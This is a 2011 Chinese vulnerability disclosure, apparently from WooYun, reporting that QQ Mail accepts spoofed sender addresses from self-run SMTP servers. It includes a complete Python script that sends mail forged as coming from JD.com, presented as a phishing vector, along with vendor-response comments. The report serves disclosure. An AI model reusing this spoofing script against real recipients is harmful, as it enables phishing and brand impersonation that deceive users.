2011-11-22: 细节已通知厂商并且等待厂商处理中 2011-11-23: 厂商已经确认,细节仅向厂商公开 2011-12-03: 细节向核心白帽子及相关领域专家公开 2011-12-13: 细节向普通白帽子公开 2011-12-23: 细节向实习白帽子公开 2011-12-22: 细节向公众公开
qq邮箱对某些情况检查不严,逻辑上有所欠缺,容易被钓鱼等利用
qq邮箱对于smtp的检查存在问题,可以自己构建smtp服务器,直接给qq发邮件,其中自己可以伪造任何邮箱(service@qq.com好象不行,但是类似@qq.C0M)这种可以,特别是可以伪造知名企业,团购网站,电子商务网站等。 其中可以直接利用FastMail1.6(网上可以找到下载),做测试,漏洞就可以得到实现
#coding=utf-8'''Created on 2011-11-22@author: Administrator'''# -*- coding: utf-8 -*-#coding=utf-8import socketimport selectimport base64import os,reimport time,datetimeclass mail: def __init__(self): self.errmsg = '' def send(self, buf): try: byteswritten = 0 while byteswritten < len(buf): byteswritten += self.__sockfd.send(buf[byteswritten:]) except: pass def recvline(self, strline): detect_fds = [self.__sockfd,] rrdy, wrdy, erdy = select.select(detect_fds, [], [], 20) if len(rrdy) == 0: return False else: while True: try: strtmp = self.__sockfd.recv(1) strline[0] += strtmp[0] if(strtmp[0] == '\n'): print 'server : '+strline[0] break except: return False return True def getresp(self, resp_str): while True: if(self.recvline(resp_str) == False): return False else: if resp_str[0][3] != '-': break; return True def mailhelo(self, hostname): self.send('helo %s\r\n'%hostname) print 'host say: helo %s'%hostname resp_str = ['',] if(self.getresp(resp_str) == False): return False if resp_str[0][0:3] == '250': return True else: self.errmsg = resp_str[0] return False def mailfrom(self, fromstr): self.send('mail from: <%s>\r\n'%fromstr) print 'host say: mail from: <%s>'%fromstr resp_str = ['',] if(self.getresp(resp_str) == False): return False if resp_str[0][0:3] == '250': return True else: self.errmsg = resp_str[0] return False def mailto(self, tostr): self.send('rcpt to: <%s>\r\n'%tostr) print 'host say: rcpt to: <%s>'%tostr resp_str = ['',] if(self.getresp(resp_str) == False): return False if resp_str[0][0:3] == '250': return True else: self.errmsg = resp_str[0] return False def maildata(self): self.send('data\r\n') print 'host say: data' resp_str = ['',] if(self.getresp(resp_str) == False): return False if resp_str[0][0:3] == '354': return True else: self.errmsg = resp_str[0] return False def mailbody(self, bodystr): print 'host say: '+'Received: from ICE (unknown [183.60.62.11])\r\n' print'host say: '+'.by 183.60.62.11 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n' print'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n' print'host say: '+'X-Originating-IP: [192.168.0.1]\r\n' print'host say: '+'Date: Tue, 22 Nov 2011 16:18:06 +0800\r\n' print'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>\r\n' print'host say: '+'Subject:'+self.Subject+'?=\r\n' print'host say: '+'To: <'+self.To+'>\r\n' print'host say: '+'X-Priority: 1\r\n' print'host say: '+'X-mailer: iceMail 1.0 [cn]\r\n' print'host say: '+'Mime-Version: 1.0\r\n' print'host say: '+'Content-Type: text/plain;\r\n' print'host say: '+'.charset="GB2312"\r\n' print'host say: '+'Content-Transfer-Encoding: quoted-printable\r\n\r\n' print 'host say: '+bodystr self.send('Received: from ICE (unknown [8.8.8.8])\r\n') self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n') self.send('.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n') self.send('X-Originating-IP: [8.8.8.8]\r\n') self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800",time.localtime())+'\r\n') self.send('From: '+self.FromName+ '<'+self.From+'>\r\n') self.send('Subject: '+self.Subject+'\r\n') self.send('To: <'+self.To+'>\r\n') self.send('X-Priority: 1\r\n') self.send('X-mailer: iceMail 1.0 [cn]\r\n') self.send('Mime-Version: 1.0\r\n') self.send('Content-Type: text/plain;\r\n') self.send('.charset="GB2312"\r\n') self.send('Content-Transfer-Encoding: quoted-printable\r\n\r\n') self.send(bodystr) self.send('\r\n.\r\n') resp_str = ['',] if(self.getresp(resp_str) == False): return False if resp_str[0][0:3] == '250': return True else: self.errmsg = resp_str[0] return False def mailquit(self): self.send('quit\r\n') print 'host say: quit' resp_str = ['',] if(self.getresp(resp_str) == False): return False if resp_str[0][0:3] == '221': print 'server : Bye' print 'mail send ok' return True else: self.errmsg = resp_str[0] return False def txmail(self, hostname, mailfrom, rcptto, bodystr): mx_server_list = [] mail_postfix = re.split('@',rcptto) #print mail_postfix try: outstr = os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1], 'r').read() except Exception, e: print 'DEBUG: Execute nslookup:',e return False linestr = re.split('\n', outstr) for s in linestr: if re.match('.+[ |\t]mail exchanger[ |\t].+', s) != None: c = re.split(' |\t', s) mx_server_list.append(c[len(c) - 1]) if len(mx_server_list) == 0: self.errmsg = 'Can not find MX server' return False for mx_element in mx_server_list: return_val = True mx_server_ip = socket.gethostbyname(mx_element) tx_sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) try: tx_sockfd.connect((mx_server_ip, 25)) self.__sockfd = tx_sockfd resp_str = ['',] self.getresp(resp_str) if self.mailhelo(hostname) and self.mailfrom(mailfrom) \ and self.mailto(rcptto) and self.maildata() and self.mailbody(bodystr) and self.mailquit(): pass else: return_val = False except Exception, e: return_val = False try: tx_sockfd.close() except: pass if return_val == True: break return return_val def sendMail(self): self.StmpHost=self.From.split("@")[1] self.txmail(self.StmpHost, self.From, self.To, self.Data) if __name__ == '__main__': icemail=mail() icemail.Port=25 icemail.To='11111@qq.com' icemail.From='newsletter2@360buy.com' icemail.FromName="京东网上商城 " icemail.Subject="得力办公文具全场每满100减30元,买鼠标即可得鼠标垫!(AD)" icemail.Data='我是假的' icemail.sendMail()
这个是我拿python写的一个smtp的服务器简易实现,可以看出qq服务器是直接信任smtp服务器所告诉的一切信息
因为我做的测试太多了,导致了邮件被归类成了垃圾邮件,本身方法是没有问题的,开始的几份邮件都在收件箱中,而且明显可以看到自定义标签已经把他归类为shop类
在对google和163做类似测试的时候都失败了,google似乎检测了smtp的ip是否在列表中,163失败原因不详,但是估计也是做了修正,qq这个要快点修复啊。
危害等级:高
漏洞Rank:12
确认时间:2011-11-23 09:27
非常感谢啊
暂无
@腾讯 这个bug和我这个不一样吗? WooYun: QQ邮箱验证机制不完善 他这个给12rank,,我的才给6rank,,为什么?
其实这漏洞没什么用,本来SMTP协议就是这样设计的,你给谁发送都能伪造。但是QQ验证了SPF,这就是你的邮件在“垃圾箱”中的原因,所以此漏洞无任何利用价值。除非你能直接把邮件搞到收件箱里。